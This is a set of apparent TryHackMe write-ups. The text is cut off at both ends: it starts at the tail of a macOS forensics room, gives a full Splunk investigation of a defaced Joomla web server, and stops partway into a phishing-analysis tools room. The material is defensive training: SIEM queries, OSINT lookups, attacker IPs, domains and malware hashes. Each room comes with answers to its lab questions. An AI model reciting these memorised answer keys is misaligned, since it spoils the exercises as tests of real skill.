    2 => {
      "Network" => "172.16.0.1"
      "PrinterID" => "HP_DeskJet_3700_series"
    }
  ]
  "UseLastPrinter" => 1
}

Here, we can see the details of the connected printers, including whether they are network printers and their IP addresses.
Answer the questions below
Which stream in the knowledgeC database contains information about connected Bluetooth devices? Bluetooth/isConnected

This stream tracks:

When Bluetooth devices connected

When they disconnected

Duration of connection in minutes

Device details


You can use the APOLLO module knowledge_audio_bluetooth_connected to extract this, or query it directly in the knowledgeC.db database.

Conclusion
Well, wasn't that fun? We seem to be getting confident performing forensics on macOS devices. Overall, we have learned and practised:

Identifying system information of a macOS machine.

Exploring the network interfaces and last known networks on a machine.

Discovering available accounts and past account activity.

Unearthing any commands and applications executed on the machine.

Analysing file system activity on the machine.

Finding out what devices are connected to the machine.


It looks like we learned a lot of exciting forensic artefacts in macOS, but we are not done yet. We will discuss even more artefacts in the macOS Forensics: Applications room.
Do you know of any other artefacts that can be found in a macOS machine? Let us know in our Discord channel or X account. See you around.



Incident Handling With Splunk (TryHackMe)
Jebitok — Sat, 14 Mar 2026 13:43:39 GMT
Website defacement is one of the more visible outcomes of a successful cyberattack, and investigating one end-to-end is a great way to practice mapping attacker behavior across the full Cyber Kill Chain. This write-up covers the Incident Handling with Splunk room on TryHackMe, where I stepped into the role of a SOC analyst investigating a real-world-style attack against Wayne Enterprises' web server imreallynotbatman.com.
The scenario involves a compromised Joomla-based web server that was defaced by the Poison Ivy APT group. Using Splunk as the SIEM, I analyzed logs from multiple sources, including Suricata, Sysmon, Fortinet firewall, and stream:http to reconstruct the attacker's full activity across all seven phases: Reconnaissance, Weaponization, Delivery, Exploitation, Installation, Command & Control, and Actions on Objectives. I also used OSINT platforms like VirusTotal, Robtex, ThreatMiner, and Hybrid Analysis to fill gaps that the logs alone couldn't answer.
Introduction: Incident Handling
This room covers an incident Handling scenario using Splunk. An incident from a security perspective is "Any event or action, that has a negative consequence on the security of a user/computer or an organization is considered a security incident." Below are a few of the events that would negatively affect the environment when they occurred:

Crashing the system

Execution of an unwanted program

Access to sensitive information from an unauthorized user

A Website being defaced by the attacker

The use of USB devices when there is a restriction in usage is against the company's policy


Learning Objective



Learn how to leverage OSINT sites during an investigation

How to map Attacker's activities to Cyber Kill Chain Phases

How to utilize effective Splunk searches to investigate logs

Understand the importance of host-centric and network-centric log sources


Room Prerequisites
Before going through this room, it is expected that the participants will have a basic understanding of Splunk. If not, consider going through this room, Splunk 101 (https://tryhackme.com/jr/splunk101).
It is good to understand the following before completing this lesson:

Splunk overview and basic navigation

Important Splunk Queries

Know how to use different functions/values to craft a search query

How to look for interesting fields


Incident Handling - Life Cycle
Incident Handling Life Cycle


As an Incident Handler / SOC Analyst, we would aim to know the attackers' tactics, techniques, and procedures. Then we can stop/defend/prevent against the attack in a better way. The Incident Handling process is divided into four different phases. Let's briefly go through each phase before jumping into the incident, which we will be going through in this exercise.
1. Preparation
The preparation phase covers the readiness of an organization against an attack. That means documenting the requirements, defining the policies, incorporating the security controls to monitor like EDR / SIEM / IDS / IPS, etc. It also includes hiring/training the staff.
2. Detection and Analysis
The detection phase covers everything related to detecting an incident and the analysis process of the incident. This phase covers getting alerts from the security controls like SIEM/EDR investigating the alert to find the root cause. This phase also covers hunting for the unknown threat within the organization.
3. Containment, Eradication, and Recovery
This phase covers the actions needed to prevent the incident from spreading and securing the network. It involves steps taken to avoid an attack from spreading into the network, isolating the infected host, clearing the network from the infection traces, and gaining control back from the attack.
4.Post-Incident Activity / Lessons Learnt
This phase includes identifying the loopholes in the organization's security posture, which led to an intrusion, and improving so that the attack does not happen next time. The steps involve identifying weaknesses that led to the attack, adding detection rules so that similar breach does not happen again, and most importantly, training the staff if required.
Incident Handling: Scenario
In this exercise, we will investigate a cyber attack in which the attacker defaced an organization's website. This organization has Splunk as a SIEM solution setup. Our task as a Security Analysis would be to investigate this cyber attack and map the attacker's activities into all 7 of the Cyber Kill Chain Phases. It is important to note that we don't need to follow the sequence of the cyber kill chain during the Investigation. One finding in one phase will lead to another finding that may have mapped into some other phase.
Cyber Kill Chain
We will follow the Cyber kill Chain Model and map the attacker's activity in each phase during this Investigation. When required, we will also utilize Open Source Intelligence (OSINT) and other findings to fill the gaps in the kill chain. It is not necessary to follow this sequence of the phases while investigating.

Reconnaissance

Weaponization

Delivery

Exploitation

Installation

Command & Control

Actions on Objectives


Scenario
A Big corporate organization Wayne Enterprises has recently faced a cyber-attack where the attackers broke into their network, found their way to their web server, and have successfully defaced their website http://www.imreallynotbatman.com. Their website is now showing the trademark of the attackers with the message YOUR SITE HAS BEEN DEFACED as shown below:


They have requested "US" to join them as a Security Analyst and help them investigate this cyber attack and find the root cause and all the attackers' activities within their network.
The good thing is, that they have Splunk already in place, so we have got all the event logs related to the attacker's activities captured. We need to explore the records and find how the attack got into their network and what actions they performed.
This Investigation comes under the Detection and Analysis phase.
Splunk
During our investigation, we will be using Splunk as our SIEM solution. Logs are being ingested from webserver/firewall/Suricata/Sysmon etc. In the data summary tab, we can explore the log sources showing visibility into both network-centric and host-centric activities.To get the complete picture of the hosts and log sources being monitored in Wayne Enterprise, please click on the Data summary and navigate the available tabs to get the information.


Interesting log Sources
Some of the interesting log sources that will help us in our Investigation are:
Log Sources
Details
wineventlog It contains Windows Event logs
winRegistry It contains the logs related to registry creation / modification / deletion etc.
XmlWinEventLog It contains the sysmon event logs. It is a very important log source from an investigation point of view.
fortigate_utm
It contains Fortinet Firewall logs
iis
It contains IIS web server logs
Nessus:scan
It contains the results from the Nessus vulnerability scanner.
Suricata
It contains the details of the alerts from the Suricata IDS. This log source shows which alert was triggered and what caused the alert to get triggered— a very important log source for the Investigation.
stream:http
It contains the network flow related to http traffic.
stream: DNS
It contains the network flow related to DNS traffic.
stream:icmp
It contains the network flow related to icmp traffic.

Note: All the event logs that we are going to investigate are present in index=botsv1.
Reconnaissance Phase
Reconnaissance Phase


Reconnaissance is an attempt to discover and collect information about a target. It could be knowledge about the system in use, the web application, employees or location, etc.
We will start our analysis by examining any reconnaissance attempt against the webserver imreallynotbatman.com. From an analyst perspective, where do we first need to look? If we look at the available log sources, we will find some log sources covering the network traffic, which means all the inbound communication towards our web server will be logged into the log source that contains the web traffic. Let's start by searching for the domain in the search head and see which log source includes the traces of our domain.
Search Query: index=botsv1 imreallynotbatman.com
Search Query explanation: We are going to look for the event logs in the index "botsv1" which contains the term imreallynotbatman.com


Here we have searched for the term imreallynotbatman.com in the index botsv1. Make sure to select All Time in the Time Range Picker, as shown above. In the sourcetype field, we saw that the following log sources contain the traces of this search term.

Suricata

stream:http

fortigate_utm

iis


From the name of these log sources, it is clear what each log source may contain. Every analyst may have a different approach to investigating a scenario. Our first task is to identify the IP address attempting to perform reconnaissance activity on our web server. It would be obvious to look at the web traffic coming into the network. We can start looking into any of the logs mentioned above sources.
Let us begin looking at the log source stream:http, which contains the http traffic logs, and examine the src_ip field from the left panel. The src_ip field contains the source IP address it finds in the logs.
Search Query: index=botsv1 imreallynotbatman.com sourcetype=stream:http
Search Query Explanation: This query will only look for the term  imreallynotbatman.comin the stream:http log source.


Note: The important thing to note, if you don't find the field of interest, keep scrolling in the left panel. When you click on a field, it will contain all the values it finds in the logs.
So far, we have found two IPs in the src_ip field 40.80.148.42 and 23.22.63.114. The first IP seems to contain a high percentage of the logs as compared to the other IP, which could be the answer. If you want to confirm further, click on each IP one by one, it will be added into the search query, and look at the logs, and you will find the answer.
To further confirm our suspicion about the IP address 40.80.148.42, click on the IP and examine the logs. We can look at the interesting fields like User-Agent, Post request, URIs, etc., to see what kind of traffic is coming from this particular IP.


We have narrowed down the results to only show the logs from the source IP 40.80.148.42, looked at the fields of interest and found the traces of the domain being probed.
**Validate the IP that is scanning
**
So what do we need to do to validate the scanning attempt? Simple, dig further into the weblogs. Let us narrow down the result, look into the suricata logs, and see if any rule is triggered on this communication.
Search Query: index=botsv1 imreallynotbatman.com src=40.80.148.42 sourcetype=suricata
Search Query Explanation: This query will show the logs from the suricata log source that are detected/generated from the source IP 40.80.248.42


We have narrowed our search on the src IP and looked at the source type suricata to see what Suricata triggered alerts. In the right panel, we could not find the field of our interest, so we clicked on more fields and searched for the fields that contained the signature alerts information, which is an important point to note.
Answer the questions below
One suricata alert highlighted the CVE value associated with the attack attempt. What is the CVE value? CVE-2014-6271
What is the CMS our web server is using? joomla
What is the web scanner, the attacker used to perform the scanning attempts? acunetix
What is the IP address of the server imreallynotbatman.com? 192.168.250.70
Exploitation Phase
**Exploitation Phase
**
The attacker needs to exploit the vulnerability to gain access to the system/server.
In this task, we will look at the potential exploitation attempt from the attacker against our web server and see if the attacker got successful in exploiting or not.
To begin our investigation, let's note the information we have so far:

We found two IP addresses from the reconnaissance phase with sending requests to our server.

One of the IPs 40.80.148.42 was seen attempting to scan the server with IP 192.168.250.70.

The attacker was using the web scanner Acunetix for the scanning attempt.


Count
Let's use the following search query to see the number of counts by each source IP against the webserver.
Search Query:index=botsv1 imreallynotbatman.com sourcetype=stream* | stats count(src_ip) as Requests by src_ip | sort - Requests
Query Explanation: This query uses the stats function to display the count of the IP addresses in the field src_ip.


Additionally, we can also create different visualization to show the result. Click on Visualization → Select Visualization as shown below.


Now we will narrow down the result to show requests sent to our web server, which has the IP 192.168.250.70
Search Query: index=botsv1 sourcetype=stream:http dest_ip="192.168.250.70"
Query Explanation: This query will look for all the inbound traffic towards IP 192.168.250.70.


The result in the src_ip field shows three IP addresses (1 local IP and two remote IPs) that originated the HTTP traffic towards our webserver.
Another interesting field, http_method will give us information about the HTTP Methods observed during these HTTP communications.
We observed most of the requests coming to our server through the POST request, as shown below.


To see what kind of traffic is coming through the POST requests, we will narrow down on the field http_method=POST as shown below:
Search Query: index=botsv1 sourcetype=stream:http dest_ip="192.168.250.70" http_method=POST


The result in the src_ip field shows two IP addresses sending all the POST requests to our server.
Interesting fields: In the left panel, we can find some interesting fields containing valuable information. Some of the fields are:

src_ip

form_data

http_user_agent

uri




The term Joomla is associated with the webserver found in a couple of fields like uri, uri_path, http_referrer, etc. This means our webserver is using Joomla CMS (Content Management Service) in the backend.
A little search on the internet for the admin login page of the Joomla CMS will show as -> /joomla/administrator/index.php
It is important because this uri contains the login page to access the web portal therefore we will be examining the traffic coming into this admin panel for a potential brute-force attack.


Reference: https://www.joomla.org/administrator/index.php
We can narrow down our search to see the requests sent to the login portal using this information.
Search query: index=botsv1 imreallynotbatman.com sourcetype=stream:http dest_ip="192.168.250.70"  uri="/joomla/administrator/index.php"
Query Explanation: We are going to add uri="/joomla/administrator/index.php" in the search query to show the traffic coming into this URI.


form_data The field contains the requests sent through the form on the admin panel page, which has a login page. We suspect the attacker may have tried multiple credentials in an attempt to gain access to the admin panel. To confirm, we will dig deep into the values contained within the form_data field, as shown below:
Search Query: index=botsv1 sourcetype=stream:http dest_ip="192.168.250.70" http_method=POST uri="/joomla/administrator/index.php" | table _time uri src_ip dest_ip form_data
Query Explanation: We will add this -> | table _time uri src_ip dest_ip form_data to create a table containing important fields as shown below:


If we keep looking at the results, we will find two interesting fields username that includes the single username admin in all the events and another field passwd that contains multiple passwords in it, which shows the attacker from the IP 23.22.63.114 Was trying to guess the password by brute-forcing and attempting numerous passwords.
The time elapsed between multiple events also suggests that the attacker was using an automated tool as various attempts were observed in a short time.
Extracting Username and Passwd Fields using Regex
Looking into the logs, we see that these fields are not parsed properly. Let us use Regex in the search to extract only these two fields and their values from the logs and display them.
We can display only the logs that contain the username and passwd values in the form_data field by adding form_data=*username*passwd* in the above search.
Search Query: index=botsv1 sourcetype=stream:http dest_ip="192.168.250.70" http_method=POST uri="/joomla/administrator/index.php" form_data=*username*passwd* | table _time uri src_ip dest_ip form_data


It's time to use Regex (regular expressions) to extract all the password values found against the field passwd in the logs. To do so, Splunk has a function called rex. If we type it in the search head, it will show detail and an example of how to use it to extract the values.


Now, let's use Regex.  rex field=form_data "passwd=(?\w+)" To extract the passwd values only. This will pick the form_data field and extract all the values found with the field. creds.
Search Query:index=botsv1 sourcetype=stream:http dest_ip="192.168.250.70" http_method=POST form_data=*username*passwd* | rex field=form_data "passwd=(?\w+)"  | table src_ip creds


We have extracted the passwords being used against the username admin on the admin panel of the webserver. If we examine the fields in the logs, we will find two values against the field http_user_agent as shown below:


The first value clearly shows attacker used a python script to automate the brute force attack against our server. But one request came from a Mozilla browser. WHY? To find the answer to this query, let's slightly change to the about search query and add http_user_agent a field in the search head.
Let's create a table to display key fields and values by appending -> | table _time src_ip uri http_user_agent creds in the search query as shown below.
Search Query: index=botsv1 sourcetype=stream:http dest_ip="192.168.250.70" http_method=POST form_data=*username*passwd* | rex field=form_data "passwd=(?\w+)" |table _time src_ip uri http_user_agent creds


This result clearly shows a continuous brute-force attack attempt from an IP 23.22.63.114 and 1 password attempt batman from IP 40.80.148.42 using the Mozilla browser.
Answer the questions below
What was the URI which got multiple brute force attempts? /joomla/administrator/index.php
Against which username was the brute force attempt made? admin
What was the correct password for admin access to the content management system running imreallynotbatman.com? batman
How many unique passwords were attempted in the brute force attempt? 412
What IP address is likely attempting a brute force password attack against imreallynotbatman.com? 23.22.63.114
After finding the correct password, which IP did the attacker use to log in to the admin panel? 40.80.148.42
Installation Phase
Installation Phase


Once the attacker has successfully exploited the security of a system, he will try to install a backdoor or an application for persistence or to gain more control of the system. This activity comes under the installation phase.
In the previous Exploitation phase, we found evidence of the webserver iamreallynotbatman.com getting compromised via brute-force attack by the attacker using the python script to automate getting the correct password. The attacker used the IP" for the attack and the IP to log in to the server. This phase will investigate any payload / malicious program uploaded to the server from any attacker's IPs and installed into the compromised server.
To begin an investigation, we first would narrow down any http traffic coming into our server 192.168.250.70 containing the term ".exe." This query may not lead to the findings, but it's good to start from 1 extension and move ahead.
Search Query: index=botsv1 sourcetype=stream:http dest_ip="192.168.250.70" *.exe


With the search query in place, we are looking for the fields that could have some values of our interest. As we could not find the file name field, we looked at the missing fields and saw a field. part_filename{}.
Observing the interesting fields and values, we can see the field part_filename{} contains the two file names. an executable file 3791.exe and a PHP file agent.php


Next, we need to find if any of these files came from the IP addresses that were found to be associated with the attack earlier.
Click on the file name; it will be added to the search query, then look for the field c_ip, which seems to represent the client IP.
Search Query:index=botsv1 sourcetype=stream:http dest_ip="192.168.250.70" "part_filename{}"="3791.exe"


Was this file executed on the server after being uploaded?
We have found that file 3791.exe was uploaded on the server. The question that may come to our mind would be, was this file executed on the server? We need to narrow down our search query to show the logs from the host-centric log sources to answer this question.
Search Query: index=botsv1 "3791.exe"


Following the Host-centric log, sources were found to have traces of the executable 3791. exe.

Sysmon

WinEventlog

fortigate_utm


For the evidence of execution, we can leverage sysmon and look at the EventCode=1 for program execution.
Reference: https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon


Search Query: index=botsv1 "3791.exe" sourcetype="XmlWinEventLog" EventCode=1
Query Explanation: This query will look for the process Creation logs containing the term "3791.exe" in the logs.


Looking at the output, we can clearly say that this file was executed on the compromised server. We can also look at other host-centric log sources to confirm the result.
Answer the questions below
Sysmon also collects the Hash value of the processes being created. What is the MD5 HASH of the program 3791.exe? AAE3F5A29935E6ABCC2C2754D12A9AF0
index=botsv1 "3791.exe" sourcetype="XmlWinEventLog" EventCode=1




Looking at the logs, which user executed the program 3791.exe on the server? NT AUTHORITY\IUSR


Search hash on the virustotal. What other name is associated with this file 3791.exe? ab.exe


Action on Objectives
Action on Objective


As the website was defaced due to a successful attack by the adversary, it would be helpful to understand better what ended up on the website that caused defacement.
As an analyst, our first quest could be to figure out the traffic flow that could lead us to the answer to this question. There can be a different approach to finding the answer to this question. We will start our investigation by examining the Suricata log source and the IP addresses communicating with the webserver 192.168.250.70.
Search Query:index=botsv1 dest=192.168.250.70 sourcetype=suricata


The logs do not show any external IP communicating with the server. Let us change the flow direction to see if any communication originates from the server.
Search Query: index=botsv1 src=192.168.250.70 sourcetype=suricata


What is interesting about the output? Usually, the web servers do not originate the traffic. The browser or the client would be the source, and the server would be the destination. Here we see three external IPs towards which our web server initiates the outbound traffic. There is a large chunk of traffic going to these external IP addresses, which could be worth checking.
Pivot into the destination IPs one by one to see what kind of traffic/communication is being carried out.
Search Query: index=botsv1 src=192.168.250.70 sourcetype=suricata dest_ip=23.22.63.114


The URL field shows 2 PHP files and one jpeg file. This jpeg file looks interesting. Let us change the search query and see where this jpeg file came from.
Search Query: index=botsv1 url="/poisonivy-is-coming-for-you-batman.jpeg" dest_ip="192.168.250.70" | table _time src dest_ip http.hostname url


The end result clearly shows a suspicious jpeg poisonivy-is-coming-for-you-batman.jpeg was downloaded from the attacker's host prankglassinebracket.jumpingcrab.com that defaced the site.


Answer the questions below
What is the name of the file that defaced the imreallynotbatman.com website ? poisonivy-is-coming-for-you-batman.jpeg
Fortigate Firewall 'fortigate_utm' detected SQL attempt from the attacker's IP 40.80.148.42. What is the name of the rule that was triggered during the SQL Injection attempt? HTTP.URI.SQL.Injection
index=botsv1 40.80.148.42 sourcetype=fortigate_utm attack="HTTP.URI.SQL.Injection"


Command and Control Phase
Command and Control:


The attacker uploaded the file to the server before defacing it. While doing so, the attacker used a Dynamic DNS to resolve a malicious IP. Our objective would be to find the IP that the attacker decided the DNS.
To investigate the communication to and from the adversary's IP addresses, we will be examining the network-centric log sources mentioned above. We will first pick fortigate_utm to review the firewall logs and then move on to the other log sources.
Search Query: index=botsv1 sourcetype=fortigate_utm"poisonivy-is-coming-for-you-batman.jpeg"


Looking into the Fortinet firewall logs, we can see the src IP, destination IP, and URL. Look at the fields on the left panel and the field url contains the FQDN (Fully Qualified Domain Name).


Though we have found the answer, we can verify other log sources.
Let us verify the answer by looking at another log source.stream:http.
Search Query: index=botsv1 sourcetype=stream:http dest_ip=23.22.63.114 "poisonivy-is-coming-for-you-batman.jpeg" src_ip=192.168.250.70


We have identified the suspicious domain as a Command and Control Server, which the attacker contacted after gaining control of the server.
Note: We can also confirm the domain by looking at the last log source stream:dns to see what DNS queries were sent from the webserver during the infection period.
Answer the questions below
This attack used dynamic DNS to resolve to the malicious IP. What fully qualified domain name (FQDN) is associated with this attack? prankglassinebracket.jumpingcrab.com
index=botsv1 sourcetype=stream:http dest_ip=23.22.63.114 "poisonivy-is-coming-for-you-batman.jpeg" src_ip=192.168.250.70




Weaponization Phase
Weaponization


In the weaponization phase, the adversaries would:

Create Malware / Malicious document to gain initial access / evade detection etc.

Establish domains similar to the target domain to trick users.

Create a Command and Control Server for the post-exploitation communication/activity etc.


We have found some domains / IP addresses associated with the attacker during the investigations. This task will mainly look into OSINT sites to see what more information we can get about the adversary.
So far, we have found a domain prankglassinebracket.jumpingcrab.com associated with this attack. Our first task would be to find the IP address tied to the domains that may potentially be pre-staged to attack Wayne Enterprise.
In the following exercise, we will be searching the online Threat Intel sites for any information like IP addresses/domains / Email addresses associated with this domain which could help us know more about this adversary.
Robtex:
Robtex is a Threat Intel site that provides information about IP addresses, domain names, etc.
Please search for the domain on the robtex site and see what we get. We will get the IP addresses associated with this domain.


Some domains/subdomains associated with this domain:


Reference**:** https://www.robtex.com/dns-lookup/prankglassinebracket.jumpingcrab.com
Next, search for the IP address 23.22.63.114   on this Threat Intel site.


What did we find? this IP is associated with some domains that look pretty similar to the WAYNE Enterprise site.
Reference: https://www.robtex.com/ip-lookup/23.22.63.114


Virustotal
Virustotal is an OSINT site used to analyze suspicious files, domains, IP, etc. Let's now search for the IP address on the virustotal site. If we go to the RELATIONS tab, we can see all the domains associated with this IP which look similar to the Wayn Enterprise company.


In the domain list, we saw the domain that is associated with the attacker www.po1s0n1vy.com . Let us search for this domain on the virustotal.


We can also look for the whois information on this site -> whois.domaintools.com to see if we can find something valuable.


Answer the questions below
What IP address has P01s0n1vy tied to domains that are pre-staged to attack Wayne Enterprises? 23.22.63.114
Based on the data gathered from this attack and common open-source intelligence sources for domain names, what is the email address that is most likely associated with the P01s0n1vy APT group? lillian.rose@po1s0n1vy.com
Delivery Phase
Delivery


Attackers create malware and infect devices to gain initial access or evade defenses and find ways to deliver it through different means. We have identified various IP addresses, domains and Email addresses associated with this adversary. Our task for this lesson would be to use the information we have about the adversary and use various Threat Hunting platforms and OSINT sites to find any malware linked with the adversary.
Threat Intel report suggested that this adversary group Poison lvy appears to have a secondary attack vector in case the initial compromise fails. Our objective would be to understand more about the attacker and their methodology and correlate the information found in the logs with various threat Intel sources.
OSINT sites

Virustotal

ThreatMiner

Hybrid-Analysis


ThreatMiner
Let's start our investigation by looking for the IP 23.22.63.114 on the Threat Intel site ThreatMiner.


We found three files associated with this IP, from which one file with the hash value  c99131e0169171935c5ac32615ed6261 seems to be malicious and something of interest.
Now, click on this MD5 hash value to see the metadata and other important information about this particular file.


Reference: https://www.threatminer.org/host.php?q=23.22.63.114#gsc.tab=0&gsc.q=23.22.63.114&gsc.page=1
Virustotal
Open virustotal.com and search for the hash on the virustotal now. Here, we can get information about the metadata about this Malware in the Details tab.




Reference: https://www.virustotal.com/gui/file/9709473ab351387aab9e816eff3910b9f28a7a70202e250ed46dba8f820f34a8/community
Hybrid-Analysis
Hybrid Analysis is a beneficial site that shows the behavior Analysis of any malware. Here you can look at all the activities performed by this Malware after being executed. Some of the information that Hybrid-Analysis provides are:

Network Communication.

DNS Requests

Contacted Hosts with Country Mapping

Strings

MITRE ATT&CK Mapping

Malicious Indicators.

DLLs Imports / Exports

Mutex Information if created

File Metadata

Screenshots




Scroll down, and you will get a lot of information about this Malware.


Reference**:** https://www.hybrid-analysis.com/sample/9709473ab351387aab9e816eff3910b9f28a7a70202e250ed46dba8f820f34a8?environmentId=100
Answer the questions below
What is the HASH of the Malware associated with the APT group? c99131e0169171935c5ac32615ed6261
What is the name of the Malware associated with the Poison Ivy Infrastructure? MirandaTateScreensaver.scr.exe


Conclusion
Conclusion:
In this fun exercise, as a SOC Analyst, we have investigated a cyber-attack where the attacker had defaced a website 'imreallynotbatman.com' of the Wayne Enterprise. We mapped the attacker's activities into the 7 phases of the Cyber Kill Chain. Let us recap everything we have found so far:
Reconnaissance Phase:
We first looked at any reconnaissance activity from the attacker to identify the IP address and other details about the adversary.
Findings:

IP Address 40.80.148.42 was found to be scanning our webserver.

The attacker was using Acunetix as a web scanner.


Exploitation Phase:
We then looked into the traces of exploitation attempts and found brute-force attacks against our server, which were successful.
Findings:

Brute force attack originated from IP 23.22.63.114.

The IP address used to gain access: 40.80.148.42

142 unique brute force attempts were made against the server, out of which one attempt was successful


Installation Phase:
Next, we looked at the installation phase to see any executable from the attacker's IP Address uploaded to our server.
Findings:

A malicious executable file 3791.exe was observed to be uploaded by the attacker.

We looked at the sysmon logs and found the MD5 hash of the file.


Action on Objective:
After compromising the web server, the attacker defaced the website.
Findings:

We examined the logs and found the file name used to deface the webserver.

Weaponization Phase:
We used various threat Intel platforms to find the attacker's infrastructure based on the following information we saw in the above activities.
Information we had:
Domain: prankglassinebracket.jumpingcrab.com
IP Address:23.22.63.114
Findings:

Multiple masquerading domains were found associated with the attacker's IPs.

An email of the user Lillian.rose@po1s0n1vy.com was also found associated with the attacker's IP address.


Deliver Phase:
In this phase, we again leveraged online Threat Intel sites to find malware associated with the adversary's IP address, which appeared to be a secondary attack vector if the initial compromise failed.
Findings:

A malware name MirandaTateScreensaver.scr.exe was found associated with the adversary.

MD5 of the malware was c99131e0169171935c5ac32615ed6261


This room was a solid exercise in thinking like a SOC analyst rather than just running queries. The investigation didn't follow a clean linear path; a finding in the Action on Objectives phase pointed back to C2 infrastructure, and OSINT filled in the context that no log source could provide on its own. That non-linearity is what makes the Cyber Kill Chain useful as a mapping framework rather than a step-by-step process.
A few things stood out: the value of correlating multiple log sources (Suricata caught the CVE, stream:http exposed the brute force, Sysmon confirmed execution), the importance of host-centric logs like Sysmon EventCode=1 for proving a file was actually run, and how OSINT platforms can surface attacker infrastructure that extends well beyond what's visible inside your own network. The Poison Ivy group had pre-staged lookalike domains and a secondary malware delivery vector, none of which would have been visible from logs alone.
If you're working through the SOC path on TryHackMe, this room is worth slowing down on. The Splunk query-building patterns here stats, rex,field pivoting shows up constantly in real investigations.



Phishing Analysis Tools (TryHackMe)
Jebitok — Sat, 14 Mar 2026 13:31:58 GMT
Phishing analysis goes beyond reading email headers manually. In this room, Phishing Emails 2 on TryHackMe, the focus shifts to tooling: automating the extraction of artifacts from suspicious emails and safely detonating malicious attachments in a sandbox environment to observe their behavior without exposing a live system.
The workflow covered spans the full analysis pipeline: collecting sender metadata from email headers, extracting and validating URLs from the email body, hashing attachments for reputation checks, and uploading payloads to a malware sandbox. Three phishing cases are worked through hands-on, each requiring identification of malicious IPs, domains, file hashes, and in one case, a specific CVE being exploited.
The primary sandbox used throughout the practical cases is Any.run, an interactive malware analysis platform that exposes network connections, DNS requests, HTTP activity, and process behavior in real time, making it possible to identify C2 infrastructure and Indicators of Compromise without executing anything locally.
Introduction
Remember from Phishing Room 1; we covered how to manually sift through the email raw source code to extract information. 
In this room, we will look at various tools that will aid us in analyzing phishing emails. We will: 

Look at tools that will aid us in examining email header information.

Cover techniques to obtain hyperlinks in emails, expand the URLs if they're URL shortened.

Look into tools to give us information about potentially malicious links without directly interacting with a malicious link.

Cover techniques to obtain malicious attachments from phishing emails and use malware sandboxes to detonate the attachments to understand further what the attachment was designed to do.


Warning: The samples throughout this room contain information from actual spam and/or phishing emails. Proceed with caution if you attempt to interact with any IP, domain, attachment, etc.
What information should we collect?
In this task, we will outline the steps performed when analyzing a suspicious or malicious email. 
Below is a checklist of the pertinent information an analyst (you) is to collect from the email header:

Sender email address

Sender IP address

Reverse lookup of the sender IP address

Email subject line

Recipient email address (this information might be in the CC/BCC field)

Reply-to email address (if any)

Date/time


Afterward, we draw our attention to the email body and attachment(s) (if any).
Below is a checklist of the artifacts an analyst (you) needs to collect from the email body:

Any URL links (if an URL shortener service was used, then we'll need to obtain the real URL link)

The name of the attachment

The hash value of the attachment (hash type MD5 or SHA256, preferably the latter)


Warning: Be careful not to click on any links or attachments in the email accidentally.
Email header analysis
Some of the pertinent information that we need to collect can be obtained visually from an email client or web client (such as Gmail, Yahoo!, etc.). But some information, such as the sender's IP address and reply-to information, can only be obtained via the email header.
In Phishing Emails 1, we saw how to obtain this information manually by sifting through an email's source code.
Below we'll look at some tools that will help us retrieve this information.
First up to bat is a tool from Google that can assist us with analyzing email headers called Messageheader from the Google Admin Toolbox. 
Per the site, "Messageheader analyzes SMTP message headers, which help identify the root cause of delivery delays. You can detect misconfigured servers and mail-routing problems".
Usage: Copy and paste the entire email header and run the analysis tool. 

Messageheader: https://toolbox.googleapps.com/apps/messageheader/analyzeheader



Another tool is called Message Header Analyzer. 

Message Header Analyzer: https://mha.azurewebsites.net/



Lastly, you can also use mailheader.org.


Even though not covered in the previous Phishing rooms, a Message Transfer Agent (MTA) is software that transfers emails between sender and recipient. Read more about MTAs here. Since we're on the subject, read about MUAs (Mail User Agent) here. 
Note: The option on which tool to use rests ultimately on you. It is good to have multiple resources to refer to as each tool might reveal information that another tool may not reveal. 
The tools below can help you analyze information about the sender's IP address:

IPinfo.io: https://ipinfo.io/

Per the site, "With IPinfo, you can pinpoint your users’ locations, customize their experiences, prevent fraud, ensure compliance, and so much more".



URLScan.io: https://urlscan.io/

Per the site, "urlscan.io is a free service to scan and analyse websites. When a URL is submitted to urlscan.io, an automated process will browse to the URL like a regular user and record the activity that this page navigation creates. This includes the domains and IPs contacted, the resources (JavaScript, CSS, etc) requested from those domains, as well as additional information about the page itself. urlscan.io will take a screenshot of the page, record the DOM content, JavaScript global variables, cookies created by the page, and a myriad of other observations. If the site is targeting the users one of the more than 400 brands tracked by urlscan.io, it will be highlighted as potentially malicious in the scan results".


Notice that urlscan.io provides a screenshot of the URL. This screenshot is provided, so you don't have to navigate to the URL in question explicitly.
You can use other tools that provide the same functionality and more, such as URL2PNG and Wannabrowser.

Talos Reputation Center: https://talosintelligence.com/reputation



Answer the questions below
What is the official site name of the bank that capitai-one.com tried to resemble? capitalone.com
Email body analysis
Now it's time to direct your focus to the email body. This is where the malicious payload may be delivered to the recipient either as a link or an attachment. 
Links can be extracted manually, either directly from an HTML formatted email or by sifting through the raw email header.
Below is an example of obtaining a link manually from an email by right-clicking the link and choosing Copy Link Location. 


The same can be accomplished with the assistance of a tool. One tool that can aid us with this task is URL Extractor. 

URL Extractor: https://www.convertcsv.com/url-extractor.htm

You can copy and paste the raw header into the text box for Step 1: Select your input. 


The extracted URLs are visible in Step 3. 


You may also use CyberChef to extract URLs with the Extract URLs recipe.


Tip: It's important to note the root domain for the extracted URLs. You will need to perform an analysis on the root domain as well. 
After extracting the URLs, the next step is to check the reputation of the URLs and root domain. You can use any of the tools mentioned in the previous task to aid you with this. 
If the email has an attachment, you'll need to obtain the attachment safely. Accomplishing this is easy in Thunderbird by using the Save button.


After you have obtained the attachment, you can then get its hash. You can check the file's reputation with the hash to see if it's a known malicious document.
Obtain the file's SHA256 hash
user@machine$ sha256sum Double\ Jackpot\ Slots\ Las\ Vegas.dot
c650f397a9193db6a2e1a273577d8d84c5668d03c06ba99b17e4f6617af4ee83  Double Jackpot Slots Las Vegas.dot

There are many tools available to help us with this, but we'll focus on two primarily; they are listed below:

Talos File Reputation: https://talosintelligence.com/talos_file_reputation

Per the site, "The Cisco Talos Intelligence Group maintains a reputation disposition on billions of files. This reputation system is fed into the AMP, FirePower, ClamAV, and Open-Source Snort product lines. The tool below allows you to do casual lookups against the Talos File Reputation system. This system limits you to one lookup at a time, and is limited to only hash matching. This lookup does not reflect the full capabilities of the Advanced Malware Protection (AMP) system".





VirusTotal: https://www.virustotal.com/gui/

Per the site, "Analyze suspicious files and URLs to detect types of malware, automatically share them with the security community."




Another tool/company worth mentioning is Reversing Labs, which also has a file reputation service. 
Answer the questions below
How can you manually get the location of a hyperlink? Copy Link Location
Malware Sandbox
